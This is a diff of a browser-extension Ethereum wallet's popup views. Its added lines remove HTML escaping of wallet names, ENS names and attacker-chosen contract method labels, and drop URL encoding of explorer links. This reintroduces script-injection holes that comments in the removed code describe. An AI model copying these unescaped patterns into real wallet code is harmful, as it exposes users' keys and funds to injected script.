// decimals, so a dust balance displays as 0.0000 while still being real
|
||||
// money at a real address. Callers that warn about holdings must ask this,
|
||||
// not the rendered figure.
|
||||
function addressHoldsFunds(addr) {
|
||||
if (!addr) return false;
|
||||
if (parseFloat(addr.balance || "0") > 0) return true;
|
||||
for (const t of addr.tokenBalances || []) {
|
||||
// A null balance is a holding whose amount could not be stated —
|
||||
// balances.js drops a row of zero base units before the scale is
|
||||
// consulted, so a row that survived with no quantity is holding
|
||||
// something. Warning about funds must err towards warning.
|
||||
const bal = unknownableAmount(t.balance);
|
||||
if (bal === null || bal > 0) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// Truncate the middle of a string, replacing removed characters with "…".
|
||||
// Safety: refuses to truncate more than 10 characters, which is the maximum
|
||||
// that still prevents address spoofing attacks (see Display Consistency in
|
||||
@@ -346,6 +183,12 @@ function addressDotHtml(address) {
|
||||
return `<span style="width:8px;height:8px;border-radius:50%;display:inline-block;background:${color};margin-right:4px;vertical-align:middle;flex-shrink:0;"></span>`;
|
||||
}
|
||||
|
||||
function escapeHtml(s) {
|
||||
const div = document.createElement("div");
|
||||
div.textContent = s;
|
||||
return div.innerHTML;
|
||||
}
|
||||
|
||||
// Look up an address across all wallets and return its title
|
||||
// (e.g. "Address 1.2") or null if it's not one of ours.
|
||||
function addressTitle(address, wallets) {
|
||||
@@ -364,47 +207,38 @@ function addressTitle(address, wallets) {
|
||||
// Render an address with color dot, optional ENS name, optional title,
|
||||
// and optional truncation. Title and ENS are shown as bold labels above
|
||||
// the full address.
|
||||
// Delegates to renderAddressHtml for consistent output.
|
||||
function formatAddressHtml(address, ensName, maxLen, title) {
|
||||
return renderAddressHtml(address, { title, ensName, maxLen });
|
||||
const dot = addressDotHtml(address);
|
||||
const displayAddr = maxLen ? truncateMiddle(address, maxLen) : address;
|
||||
if (title || ensName) {
|
||||
let html = "";
|
||||
if (title) {
|
||||
html += `<div class="flex items-center font-bold">${dot}${escapeHtml(title)}</div>`;
|
||||
}
|
||||
if (ensName) {
|
||||
html += `<div class="flex items-center font-bold">${title ? "" : dot}${escapeHtml(ensName)}</div>`;
|
||||
}
|
||||
html += `<div class="break-all">${escapeHtml(displayAddr)}</div>`;
|
||||
return html;
|
||||
}
|
||||
return `<div class="flex items-center">${dot}<span class="break-all">${escapeHtml(displayAddr)}</span></div>`;
|
||||
}
|
||||
|
||||
function isoDate(timestamp) {
|
||||
const d = new Date(timestamp * 1000);
|
||||
const pad = (n) => String(n).padStart(2, "0");
|
||||
if (state.utcTimestamps) {
|
||||
return (
|
||||
d.getUTCFullYear() +
|
||||
"-" +
|
||||
pad(d.getUTCMonth() + 1) +
|
||||
"-" +
|
||||
pad(d.getUTCDate()) +
|
||||
"T" +
|
||||
pad(d.getUTCHours()) +
|
||||
":" +
|
||||
pad(d.getUTCMinutes()) +
|
||||
":" +
|
||||
pad(d.getUTCSeconds()) +
|
||||
"Z"
|
||||
);
|
||||
}
|
||||
const offsetMin = -d.getTimezoneOffset();
|
||||
const sign = offsetMin >= 0 ? "+" : "-";
|
||||
const absOff = Math.abs(offsetMin);
|
||||
const tzStr = sign + pad(Math.floor(absOff / 60)) + ":" + pad(absOff % 60);
|
||||
return (
|
||||
d.getFullYear() +
|
||||
"-" +
|
||||
pad(d.getMonth() + 1) +
|
||||
"-" +
|
||||
pad(d.getDate()) +
|
||||
"T" +
|
||||
" " +
|
||||
pad(d.getHours()) +
|
||||
":" +
|
||||
pad(d.getMinutes()) +
|
||||
":" +
|
||||
pad(d.getSeconds()) +
|
||||
tzStr
|
||||
pad(d.getSeconds())
|
||||
);
|
||||
}
|
||||
|
||||
@@ -425,148 +259,19 @@ function timeAgo(timestamp) {
|
||||
return years + " year" + (years !== 1 ? "s" : "") + " ago";
|
||||
}
|
||||
|
||||
// Shared external-link icon SVG used across all views.
|
||||
const EXT_ICON =
|
||||
`<span style="display:inline-block;width:10px;height:10px;margin-left:4px;vertical-align:middle">` +
|
||||
`<svg viewBox="0 0 12 12" fill="none" stroke="currentColor" stroke-width="1.5">` +
|
||||
`<path d="M4.5 1.5H2a.5.5 0 00-.5.5v8a.5.5 0 00.5.5h8a.5.5 0 00.5-.5V7.5"/>` +
|
||||
`<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
|
||||
`</svg></span>`;
|
||||
|
||||
// Block-explorer URLs. The origin is a per-network constant from
|
||||
// src/shared/networks.js; only the path segment is data, and it comes out
|
||||
// of explorer JSON (a transaction's from/to, a token's address_hash), which
|
||||
// nothing upstream validates as hex. percent-encoding it keeps a segment
|
||||
// that contains a slash, a query or a fragment from re-pointing the link
|
||||
// somewhere else in the explorer.
|
||||
function explorerUrl(kind, value) {
|
||||
return `${currentNetwork().explorerUrl}/${kind}/${encodeURIComponent(value)}`;
|
||||
}
|
||||
|
||||
function etherscanAddressUrl(address) {
|
||||
return explorerUrl("address", address);
|
||||
}
|
||||
|
||||
// The URL still has to be escaped on the way into href="...": encoding
|
||||
// governs what the URL means, escaping governs whether it stays inside the
|
||||
// attribute.
|
||||
function etherscanLinkHtml(url) {
|
||||
return (
|
||||
`<a href="${escapeHtml(url)}" target="_blank" rel="noopener" ` +
|
||||
`class="inline-flex items-center">${EXT_ICON}</a>`
|
||||
);
|
||||
}
|
||||
|
||||
// Render a copyable text span with dashed underline affordance.
|
||||
// The caller must attach click handlers via attachCopyHandlers() or
|
||||
// manually wire up [data-copy] elements after inserting the HTML.
|
||||
function copyableHtml(text, extraClass) {
|
||||
const cls =
|
||||
"underline decoration-dashed cursor-pointer" +
|
||||
(extraClass ? " " + extraClass : "");
|
||||
return `<span class="${cls}" data-copy="${escapeHtml(text)}">${escapeHtml(text)}</span>`;
|
||||
}
|
||||
|
||||
// Attach click-to-copy handlers to all [data-copy] elements within
|
||||
// a container. Safe to call multiple times on the same container.
|
||||
function attachCopyHandlers(container) {
|
||||
const root =
|
||||
typeof container === "string"
|
||||
? document.getElementById(container)
|
||||
: container;
|
||||
if (!root) return;
|
||||
root.querySelectorAll("[data-copy]").forEach((el) => {
|
||||
el.onclick = () => {
|
||||
navigator.clipboard.writeText(el.dataset.copy);
|
||||
showFlash("Copied!");
|
||||
flashCopyFeedback(el);
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
// Unified address rendering.
|
||||
//
|
||||
// Produces consistent HTML for any Ethereum address:
|
||||
// • Color dot
|
||||
// • Optional title (e.g. "Wallet 1 — Address 2") shown bold above address
|
||||
// • Optional ENS name shown bold above address
|
||||
// • Full address (or truncated via maxLen) with dashed-underline click-to-copy
|
||||
// • Etherscan external link icon
|
||||
//
|
||||
// Options object:
|
||||
// title — wallet title string (from addressTitle)
|
||||
// ensName — ENS name string
|
||||
// maxLen — if set, truncate address display (min 32 chars enforced)
|
||||
// noLink — if true, omit etherscan link
|
||||
//
|
||||
// After inserting the returned HTML into the DOM, call
|
||||
// attachCopyHandlers() on the parent to wire up click-to-copy.
|
||||
function renderAddressHtml(address, opts) {
|
||||
const { title, ensName, maxLen, noLink } = opts || {};
|
||||
const dot = addressDotHtml(address);
|
||||
const displayAddr = maxLen ? truncateMiddle(address, maxLen) : address;
|
||||
const link = etherscanAddressUrl(address);
|
||||
const extLink = noLink ? "" : etherscanLinkHtml(link);
|
||||
|
||||
let html = "";
|
||||
if (title) {
|
||||
html += `<div class="flex items-center font-bold">${dot}${escapeHtml(title)}</div>`;
|
||||
}
|
||||
if (ensName) {
|
||||
html += `<div class="flex items-center font-bold">${title ? "" : dot}${escapeHtml(ensName)}</div>`;
|
||||
}
|
||||
if (title || ensName) {
|
||||
html += `<div class="flex items-center">${copyableHtml(displayAddr, "break-all")}${extLink}</div>`;
|
||||
} else {
|
||||
html += `<div class="flex items-center">${dot}${copyableHtml(displayAddr, "break-all")}${extLink}</div>`;
|
||||
}
|
||||
return html;
|
||||
}
|
||||
|
||||
function flashCopyFeedback(el) {
|
||||
if (!el) return;
|
||||
el.classList.remove("copy-flash-fade");
|
||||
el.classList.add("copy-flash-active");
|
||||
setTimeout(() => {
|
||||
el.classList.remove("copy-flash-active");
|
||||
el.classList.add("copy-flash-fade");
|
||||
setTimeout(() => {
|
||||
el.classList.remove("copy-flash-fade");
|
||||
}, 275);
|
||||
}, 75);
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
VIEWS,
|
||||
$,
|
||||
showError,
|
||||
hideError,
|
||||
showView,
|
||||
onViewLeave,
|
||||
updateDebugBanner,
|
||||
setBackRenderer,
|
||||
pushCurrentView,
|
||||
goBack,
|
||||
clearViewStack,
|
||||
showFlash,
|
||||
flashCopyFeedback,
|
||||
balanceLine,
|
||||
balanceLinesForAddress,
|
||||
addressHoldsFunds,
|
||||
unknownableAmount,
|
||||
addressColor,
|
||||
addressDotHtml,
|
||||
escapeHtml,
|
||||
displaySymbol,
|
||||
addressTitle,
|
||||
formatAddressHtml,
|
||||
renderAddressHtml,
|
||||
copyableHtml,
|
||||
attachCopyHandlers,
|
||||
etherscanAddressUrl,
|
||||
etherscanLinkHtml,
|
||||
explorerUrl,
|
||||
EXT_ICON,
|
||||
truncateMiddle,
|
||||
isoDate,
|
||||
timeAgo,
|
||||
|
||||
@@ -8,30 +8,19 @@ const {
|
||||
addressDotHtml,
|
||||
addressTitle,
|
||||
escapeHtml,
|
||||
displaySymbol,
|
||||
truncateMiddle,
|
||||
renderAddressHtml,
|
||||
attachCopyHandlers,
|
||||
pushCurrentView,
|
||||
} = require("./helpers");
|
||||
const { state, saveState, currentAddress } = require("../../shared/state");
|
||||
const { notify } = require("../../shared/browserApi");
|
||||
const {
|
||||
updateSendBalance,
|
||||
renderSendTokenSelect,
|
||||
resetSendValidation,
|
||||
} = require("./send");
|
||||
const { deriveAddressFromXpub } = require("../../shared/wallet");
|
||||
const { canRemoveAddress } = require("../../shared/walletDelete");
|
||||
const {
|
||||
walletDefect,
|
||||
walletDefectHtml,
|
||||
} = require("../../shared/walletDefects");
|
||||
const {
|
||||
formatUsd,
|
||||
formatAddressTotal,
|
||||
getPrice,
|
||||
getAddressValue,
|
||||
getAddressValueUsd,
|
||||
} = require("../../shared/prices");
|
||||
const {
|
||||
fetchRecentTransactions,
|
||||
@@ -73,16 +62,33 @@ function renderTotalValue() {
|
||||
el.textContent = ethStr + ethUsd;
|
||||
|
||||
if (subEl) {
|
||||
subEl.innerHTML = formatAddressTotal(getAddressValue(addr)) || " ";
|
||||
const totalUsd = getAddressValueUsd(addr);
|
||||
subEl.innerHTML =
|
||||
totalUsd !== null ? "Total: " + formatUsd(totalUsd) : " ";
|
||||
}
|
||||
}
|
||||
|
||||
const EXT_ICON =
|
||||
`<span style="display:inline-block;width:10px;height:10px;margin-left:4px;vertical-align:middle">` +
|
||||
`<svg viewBox="0 0 12 12" fill="none" stroke="currentColor" stroke-width="1.5">` +
|
||||
`<path d="M4.5 1.5H2a.5.5 0 00-.5.5v8a.5.5 0 00.5.5h8a.5.5 0 00.5-.5V7.5"/>` +
|
||||
`<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
|
||||
`</svg></span>`;
|
||||
|
||||
function renderActiveAddress() {
|
||||
const el = $("active-address-display");
|
||||
if (!el) return;
|
||||
if (state.activeAddress) {
|
||||
el.innerHTML = renderAddressHtml(state.activeAddress);
|
||||
attachCopyHandlers(el);
|
||||
const addr = state.activeAddress;
|
||||
const dot = addressDotHtml(addr);
|
||||
const link = `https://etherscan.io/address/${addr}`;
|
||||
el.innerHTML =
|
||||
`<span class="underline decoration-dashed cursor-pointer" id="active-addr-copy">${dot}${escapeHtml(addr)}</span>` +
|
||||
`<a href="${link}" target="_blank" rel="noopener" class="inline-flex items-center">${EXT_ICON}</a>`;
|
||||
$("active-addr-copy").addEventListener("click", () => {
|
||||
navigator.clipboard.writeText(addr);
|
||||
showFlash("Copied!");
|
||||
});
|
||||
} else {
|
||||
el.textContent = "";
|
||||
}
|
||||
@@ -110,13 +116,10 @@ function renderHomeTxList(ctx) {
|
||||
: tx.direction === "sent" || tx.direction === "contract"
|
||||
? tx.to
|
||||
: tx.from;
|
||||
// directionLabel is the explorer's own method name for a contract
|
||||
// call, title-cased — attacker-chosen for an attacker's contract.
|
||||
const dirLabel = escapeHtml(tx.directionLabel);
|
||||
const sym = displaySymbol(tx.symbol);
|
||||
const dirLabel = tx.directionLabel;
|
||||
const amountStr = tx.value
|
||||
? escapeHtml(tx.value + " " + sym)
|
||||
: escapeHtml(sym);
|
||||
? escapeHtml(tx.value + " " + tx.symbol)
|
||||
: escapeHtml(tx.symbol);
|
||||
const title = addressTitle(counterparty, state.wallets);
|
||||
const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
|
||||
const displayAddr = title || truncateMiddle(counterparty, maxAddr);
|
||||
@@ -171,7 +174,6 @@ async function loadHomeTxs(ctx) {
|
||||
if (allAddresses.length === 0) return;
|
||||
|
||||
const filters = {
|
||||
hideSpoofedSymbols: state.hideSpoofedSymbols,
|
||||
hideLowHolderTokens: state.hideLowHolderTokens,
|
||||
hideFraudContracts: state.hideFraudContracts,
|
||||
hideDustTransactions: state.hideDustTransactions,
|
||||
@@ -222,62 +224,6 @@ async function loadHomeTxs(ctx) {
|
||||
}
|
||||
}
|
||||
|
||||
// The wallet list markup. Pure: it reads state and returns a string, so the
|
||||
// list can be asserted on without a DOM.
|
||||
function walletListHtml() {
|
||||
let html = "";
|
||||
state.wallets.forEach((wallet, wi) => {
|
||||
const defect = walletDefect(wallet);
|
||||
html += `<div>`;
|
||||
html += `<div class="flex justify-between items-center bg-section py-1 px-2" style="margin:0 -0.5rem">`;
|
||||
html += `<span class="font-bold cursor-pointer wallet-name underline decoration-dashed" data-wallet="${wi}">${escapeHtml(wallet.name)}</span>`;
|
||||
// No "+" on a defective wallet: deriving another address from that
|
||||
// xpub would only add one more address the key does not produce
|
||||
// under the standard path.
|
||||
if (!defect && (wallet.type === "hd" || wallet.type === "xprv")) {
|
||||
html += `<button class="btn-add-address border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-wallet="${wi}" title="Add another address to this wallet">+</button>`;
|
||||
}
|
||||
html += `</div>`;
|
||||
html += walletDefectHtml(wallet);
|
||||
|
||||
wallet.addresses.forEach((addr, ai) => {
|
||||
html += `<div class="address-row py-1 border-b border-border-light cursor-pointer hover:bg-hover" data-wallet="${wi}" data-address="${ai}">`;
|
||||
const isActive = state.activeAddress === addr.address;
|
||||
const infoBtn = `<span class="btn-addr-info text-xs cursor-pointer border border-border hover:bg-fg hover:text-bg" style="padding:0" data-wallet="${wi}" data-address="${ai}">[info]</span>`;
|
||||
// Only where a wallet can spare the address: a wallet holding a
|
||||
// single address has no remove control, because its last address
|
||||
// is never removable.
|
||||
const removeBtn = canRemoveAddress(wallet)
|
||||
? `<span class="btn-remove-address text-xs cursor-pointer border border-border hover:bg-fg hover:text-bg ml-1" style="padding:0" data-wallet="${wi}" data-address="${ai}" title="Remove this address from the wallet">[x]</span>`
|
||||
: "";
|
||||
const dot = addressDotHtml(addr.address);
|
||||
const titleBold = isActive ? "font-bold" : "";
|
||||
html += `<div class="text-xs ${titleBold}">Address ${ai + 1}</div>`;
|
||||
if (addr.ensName) {
|
||||
// An ENS reverse record is whatever the name owner set it
|
||||
// to; renderAddressHtml() escapes its own copy of this and
|
||||
// this list was the one that did not.
|
||||
html += `<div class="text-xs font-bold flex items-center">${dot}${escapeHtml(addr.ensName)}</div>`;
|
||||
}
|
||||
html += `<div class="flex text-xs items-center justify-between">`;
|
||||
html += `<span class="flex items-center break-all">${addr.ensName ? "" : dot}${escapeHtml(addr.address)}</span>`;
|
||||
html += `<span class="flex-shrink-0 ml-1">${infoBtn}${removeBtn}</span>`;
|
||||
html += `</div>`;
|
||||
const addrTotal = formatAddressTotal(getAddressValue(addr));
|
||||
html += `<div class="text-xs text-muted text-right min-h-[1rem]">${addrTotal || " "}</div>`;
|
||||
html += balanceLinesForAddress(
|
||||
addr,
|
||||
state.trackedTokens,
|
||||
state.showZeroBalanceTokens,
|
||||
);
|
||||
html += `</div>`;
|
||||
});
|
||||
|
||||
html += `</div>`;
|
||||
});
|
||||
return html;
|
||||
}
|
||||
|
||||
function render(ctx) {
|
||||
const container = $("wallet-list");
|
||||
if (state.wallets.length === 0) {
|
||||
@@ -288,7 +234,43 @@ function render(ctx) {
|
||||
return;
|
||||
}
|
||||
|
||||
container.innerHTML = walletListHtml();
|
||||
let html = "";
|
||||
state.wallets.forEach((wallet, wi) => {
|
||||
html += `<div>`;
|
||||
html += `<div class="flex justify-between items-center bg-section py-1 px-2" style="margin:0 -0.5rem">`;
|
||||
html += `<span class="font-bold cursor-pointer wallet-name underline decoration-dashed" data-wallet="${wi}">${wallet.name}</span>`;
|
||||
if (wallet.type === "hd") {
|
||||
html += `<button class="btn-add-address border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-wallet="${wi}" title="Add another address to this wallet">+</button>`;
|
||||
}
|
||||
html += `</div>`;
|
||||
|
||||
wallet.addresses.forEach((addr, ai) => {
|
||||
html += `<div class="address-row py-1 border-b border-border-light cursor-pointer hover:bg-hover" data-wallet="${wi}" data-address="${ai}">`;
|
||||
const isActive = state.activeAddress === addr.address;
|
||||
const infoBtn = `<span class="btn-addr-info text-xs cursor-pointer border border-border hover:bg-fg hover:text-bg" style="padding:0" data-wallet="${wi}" data-address="${ai}">[info]</span>`;
|
||||
const dot = addressDotHtml(addr.address);
|
||||
const titleBold = isActive ? "font-bold" : "";
|
||||
html += `<div class="text-xs ${titleBold}">Address ${ai + 1}</div>`;
|
||||
if (addr.ensName) {
|
||||
html += `<div class="text-xs font-bold flex items-center">${dot}${addr.ensName}</div>`;
|
||||
}
|
||||
html += `<div class="flex text-xs items-center justify-between">`;
|
||||
html += `<span class="flex items-center break-all">${addr.ensName ? "" : dot}${addr.address}</span>`;
|
||||
html += `<span class="flex-shrink-0 ml-1">${infoBtn}</span>`;
|
||||
html += `</div>`;
|
||||
const addrUsd = formatUsd(getAddressValueUsd(addr));
|
||||
html += `<div class="text-xs text-muted text-right min-h-[1rem]">${addrUsd || " "}</div>`;
|
||||
html += balanceLinesForAddress(
|
||||
addr,
|
||||
state.trackedTokens,
|
||||
state.showZeroBalanceTokens,
|
||||
);
|
||||
html += `</div>`;
|
||||
});
|
||||
|
||||
html += `</div>`;
|
||||
});
|
||||
container.innerHTML = html;
|
||||
|
||||
container.querySelectorAll(".address-row").forEach((row) => {
|
||||
row.addEventListener("click", async () => {
|
||||
@@ -299,7 +281,11 @@ function render(ctx) {
|
||||
state.activeAddress = addr;
|
||||
await saveState();
|
||||
render(ctx);
|
||||
notify({ type: "AUTISTMASK_ACTIVE_CHANGED" });
|
||||
const runtime =
|
||||
typeof browser !== "undefined"
|
||||
? browser.runtime
|
||||
: chrome.runtime;
|
||||
runtime.sendMessage({ type: "AUTISTMASK_ACTIVE_CHANGED" });
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -313,16 +299,6 @@ function render(ctx) {
|
||||
});
|
||||
});
|
||||
|
||||
container.querySelectorAll(".btn-remove-address").forEach((btn) => {
|
||||
btn.addEventListener("click", (e) => {
|
||||
e.stopPropagation();
|
||||
ctx.showDeleteAddress(
|
||||
parseInt(btn.dataset.wallet, 10),
|
||||
parseInt(btn.dataset.address, 10),
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
container.querySelectorAll(".btn-add-address").forEach((btn) => {
|
||||
btn.addEventListener("click", async (e) => {
|
||||
e.stopPropagation();
|
||||
@@ -382,13 +358,6 @@ function render(ctx) {
|
||||
loadHomeTxs(ctx);
|
||||
}
|
||||
|
||||
// The defect of the wallet the selected address belongs to, or null. Call
|
||||
// after selectActiveAddress().
|
||||
function selectedWalletDefect() {
|
||||
if (state.selectedWallet === null) return null;
|
||||
return walletDefect(state.wallets[state.selectedWallet]);
|
||||
}
|
||||
|
||||
function selectActiveAddress() {
|
||||
for (let wi = 0; wi < state.wallets.length; wi++) {
|
||||
for (let ai = 0; ai < state.wallets[wi].addresses.length; ai++) {
|
||||
@@ -412,13 +381,6 @@ function init(ctx) {
|
||||
showFlash("No active address selected.");
|
||||
return;
|
||||
}
|
||||
// Before the balance check and before any password is asked for: this
|
||||
// wallet cannot sign at all, so the send screen is a dead end.
|
||||
const defect = selectedWalletDefect();
|
||||
if (defect) {
|
||||
showFlash(defect.shortMessage);
|
||||
return;
|
||||
}
|
||||
const addr = currentAddress();
|
||||
if (!addr.balance || parseFloat(addr.balance) === 0) {
|
||||
showFlash("Cannot send \u2014 zero balance.");
|
||||
@@ -431,7 +393,6 @@ function init(ctx) {
|
||||
renderSendTokenSelect(addr);
|
||||
updateSendBalance();
|
||||
resetSendValidation();
|
||||
pushCurrentView();
|
||||
showView("send");
|
||||
});
|
||||
|
||||
@@ -444,4 +405,4 @@ function init(ctx) {
|
||||
});
|
||||
}
|
||||
|
||||
module.exports = { init, render, walletListHtml };
|
||||
module.exports = { init, render };
|
||||
|
||||
73
src/popup/views/importKey.js
Normal file
73
src/popup/views/importKey.js
Normal file
@@ -0,0 +1,73 @@
|
||||
const { $, showView, showError, hideError } = require("./helpers");
|
||||
const { addressFromPrivateKey } = require("../../shared/wallet");
|
||||
const { encryptWithPassword } = require("../../shared/vault");
|
||||
const { state, saveState } = require("../../shared/state");
|
||||
|
||||
function show() {
|
||||
$("import-private-key").value = "";
|
||||
$("import-key-password").value = "";
|
||||
$("import-key-password-confirm").value = "";
|
||||
hideError("import-key-error");
|
||||
showView("import-key");
|
||||
}
|
||||
|
||||
function init(ctx) {
|
||||
$("btn-import-key-confirm").addEventListener("click", async () => {
|
||||
const key = $("import-private-key").value.trim();
|
||||
if (!key) {
|
||||
showError("import-key-error", "Please enter your private key.");
|
||||
return;
|
||||
}
|
||||
let addr;
|
||||
try {
|
||||
addr = addressFromPrivateKey(key);
|
||||
} catch (e) {
|
||||
showError("import-key-error", "Invalid private key.");
|
||||
return;
|
||||
}
|
||||
const pw = $("import-key-password").value;
|
||||
const pw2 = $("import-key-password-confirm").value;
|
||||
if (!pw) {
|
||||
showError("import-key-error", "Please choose a password.");
|
||||
return;
|
||||
}
|
||||
if (pw.length < 12) {
|
||||
showError(
|
||||
"import-key-error",
|
||||
"Password must be at least 12 characters.",
|
||||
);
|
||||
return;
|
||||
}
|
||||
if (pw !== pw2) {
|
||||
showError("import-key-error", "Passwords do not match.");
|
||||
return;
|
||||
}
|
||||
const encrypted = await encryptWithPassword(key, pw);
|
||||
const walletNum = state.wallets.length + 1;
|
||||
state.wallets.push({
|
||||
type: "key",
|
||||
name: "Wallet " + walletNum,
|
||||
encryptedSecret: encrypted,
|
||||
addresses: [
|
||||
{ address: addr, balance: "0.0000", tokenBalances: [] },
|
||||
],
|
||||
});
|
||||
state.hasWallet = true;
|
||||
await saveState();
|
||||
ctx.renderWalletList();
|
||||
showView("main");
|
||||
|
||||
ctx.doRefreshAndRender();
|
||||
});
|
||||
|
||||
$("btn-import-key-back").addEventListener("click", () => {
|
||||
if (!state.hasWallet) {
|
||||
showView("welcome");
|
||||
} else {
|
||||
ctx.renderWalletList();
|
||||
showView("main");
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
module.exports = { init, show };
|
||||
@@ -2,16 +2,19 @@ const {
|
||||
$,
|
||||
showView,
|
||||
showFlash,
|
||||
flashCopyFeedback,
|
||||
formatAddressHtml,
|
||||
addressTitle,
|
||||
displaySymbol,
|
||||
attachCopyHandlers,
|
||||
goBack,
|
||||
} = require("./helpers");
|
||||
const { state, currentAddress, currentNetwork } = require("../../shared/state");
|
||||
const { state, currentAddress } = require("../../shared/state");
|
||||
const QRCode = require("qrcode");
|
||||
|
||||
const EXT_ICON =
|
||||
`<span style="display:inline-block;width:10px;height:10px;margin-left:4px;vertical-align:middle">` +
|
||||
`<svg viewBox="0 0 12 12" fill="none" stroke="currentColor" stroke-width="1.5">` +
|
||||
`<path d="M4.5 1.5H2a.5.5 0 00-.5.5v8a.5.5 0 00.5.5h8a.5.5 0 00.5-.5V7.5"/>` +
|
||||
`<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
|
||||
`</svg></span>`;
|
||||
|
||||
function show() {
|
||||
const addr = currentAddress();
|
||||
const address = addr ? addr.address : "";
|
||||
@@ -21,8 +24,10 @@ function show() {
|
||||
? formatAddressHtml(address, ensName, null, title)
|
||||
: "";
|
||||
$("receive-address-block").dataset.full = address;
|
||||
// Etherscan link is now included in formatAddressHtml via renderAddressHtml
|
||||
$("receive-etherscan-link").innerHTML = "";
|
||||
const link = address ? `https://etherscan.io/address/${address}` : "";
|
||||
$("receive-etherscan-link").innerHTML = link
|
||||
? `<a href="${link}" target="_blank" rel="noopener" class="inline-flex items-center">${EXT_ICON}</a>`
|
||||
: "";
|
||||
if (address) {
|
||||
QRCode.toCanvas($("receive-qr"), address, {
|
||||
width: 200,
|
||||
@@ -45,31 +50,38 @@ function show() {
|
||||
}
|
||||
warningEl.textContent =
|
||||
"This is an ERC-20 token. Only send " +
|
||||
displaySymbol(symbol) +
|
||||
" on " +
|
||||
currentNetwork().name +
|
||||
" to this address. Sending tokens on other networks will result in permanent loss.";
|
||||
warningEl.style.visibility = "visible";
|
||||
symbol +
|
||||
" on the Ethereum network to this address. Sending tokens on other networks will result in permanent loss.";
|
||||
warningEl.classList.remove("hidden");
|
||||
} else {
|
||||
warningEl.textContent = "";
|
||||
warningEl.style.visibility = "hidden";
|
||||
warningEl.classList.add("hidden");
|
||||
}
|
||||
showView("receive");
|
||||
attachCopyHandlers("view-receive");
|
||||
}
|
||||
|
||||
function init(_ctx) {
|
||||
function init(ctx) {
|
||||
$("receive-address-block").addEventListener("click", () => {
|
||||
const addr = $("receive-address-block").dataset.full;
|
||||
if (addr) {
|
||||
navigator.clipboard.writeText(addr);
|
||||
showFlash("Copied!");
|
||||
}
|
||||
});
|
||||
|
||||
$("btn-receive-copy").addEventListener("click", () => {
|
||||
const addr = $("receive-address-block").dataset.full;
|
||||
if (addr) {
|
||||
navigator.clipboard.writeText(addr);
|
||||
showFlash("Copied!");
|
||||
flashCopyFeedback($("receive-address-block"));
|
||||
}
|
||||
});
|
||||
|
||||
$("btn-receive-back").addEventListener("click", () => {
|
||||
goBack();
|
||||
if (state.selectedToken) {
|
||||
ctx.showAddressToken();
|
||||
} else {
|
||||
ctx.showAddressDetail();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
@@ -3,19 +3,14 @@
|
||||
const {
|
||||
$,
|
||||
showFlash,
|
||||
addressDotHtml,
|
||||
addressTitle,
|
||||
displaySymbol,
|
||||
renderAddressHtml,
|
||||
attachCopyHandlers,
|
||||
goBack,
|
||||
escapeHtml,
|
||||
} = require("./helpers");
|
||||
const { state, currentAddress } = require("../../shared/state");
|
||||
let ctx;
|
||||
const { getProvider } = require("../../shared/balances");
|
||||
const { resolveTokenDecimals } = require("../../shared/approvalAmount");
|
||||
const { resolveSymbol } = require("../../shared/tokenList");
|
||||
const { isLowHolderCount } = require("../../shared/holders");
|
||||
const { isSpoofedSymbol } = require("../../shared/symbolSpoof");
|
||||
const { KNOWN_SYMBOLS, resolveSymbol } = require("../../shared/tokenList");
|
||||
const { getAddress } = require("ethers");
|
||||
|
||||
const ZERO_ADDRESS = "0x0000000000000000000000000000000000000000";
|
||||
@@ -118,6 +113,21 @@ function updateToValidation() {
|
||||
}
|
||||
}
|
||||
|
||||
const EXT_ICON =
|
||||
`<span style="display:inline-block;width:10px;height:10px;margin-left:4px;vertical-align:middle">` +
|
||||
`<svg viewBox="0 0 12 12" fill="none" stroke="currentColor" stroke-width="1.5">` +
|
||||
`<path d="M4.5 1.5H2a.5.5 0 00-.5.5v8a.5.5 0 00.5.5h8a.5.5 0 00.5-.5V7.5"/>` +
|
||||
`<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
|
||||
`</svg></span>`;
|
||||
|
||||
function isSpoofedToken(t) {
|
||||
const upper = (t.symbol || "").toUpperCase();
|
||||
if (!KNOWN_SYMBOLS.has(upper)) return false;
|
||||
const legit = KNOWN_SYMBOLS.get(upper);
|
||||
if (legit === null) return true;
|
||||
return t.address.toLowerCase() !== legit;
|
||||
}
|
||||
|
||||
function renderSendTokenSelect(addr) {
|
||||
const sel = $("send-token");
|
||||
sel.innerHTML = '<option value="ETH">ETH</option>';
|
||||
@@ -125,15 +135,12 @@ function renderSendTokenSelect(addr) {
|
||||
(state.fraudContracts || []).map((a) => a.toLowerCase()),
|
||||
);
|
||||
for (const t of addr.tokenBalances || []) {
|
||||
if (isSpoofedSymbol(t.symbol, t.address)) continue;
|
||||
if (isSpoofedToken(t)) continue;
|
||||
if (fraudSet.has(t.address.toLowerCase())) continue;
|
||||
// An unknown holder count does not withhold a token the user holds:
|
||||
// only a count the explorer actually reported as below the threshold
|
||||
// does. Otherwise a missing field makes a real asset unspendable.
|
||||
if (state.hideLowHolderTokens && isLowHolderCount(t.holders)) continue;
|
||||
if (state.hideLowHolderTokens && (t.holders || 0) < 1000) continue;
|
||||
const opt = document.createElement("option");
|
||||
opt.value = t.address;
|
||||
opt.textContent = displaySymbol(t.symbol);
|
||||
opt.textContent = t.symbol;
|
||||
sel.appendChild(opt);
|
||||
}
|
||||
}
|
||||
@@ -141,12 +148,24 @@ function renderSendTokenSelect(addr) {
|
||||
function updateSendBalance() {
|
||||
const addr = currentAddress();
|
||||
if (!addr) return;
|
||||
const dot = addressDotHtml(addr.address);
|
||||
const link = `https://etherscan.io/address/${addr.address}`;
|
||||
const extLink = `<a href="${link}" target="_blank" rel="noopener" class="inline-flex items-center">${EXT_ICON}</a>`;
|
||||
const title = addressTitle(addr.address, state.wallets);
|
||||
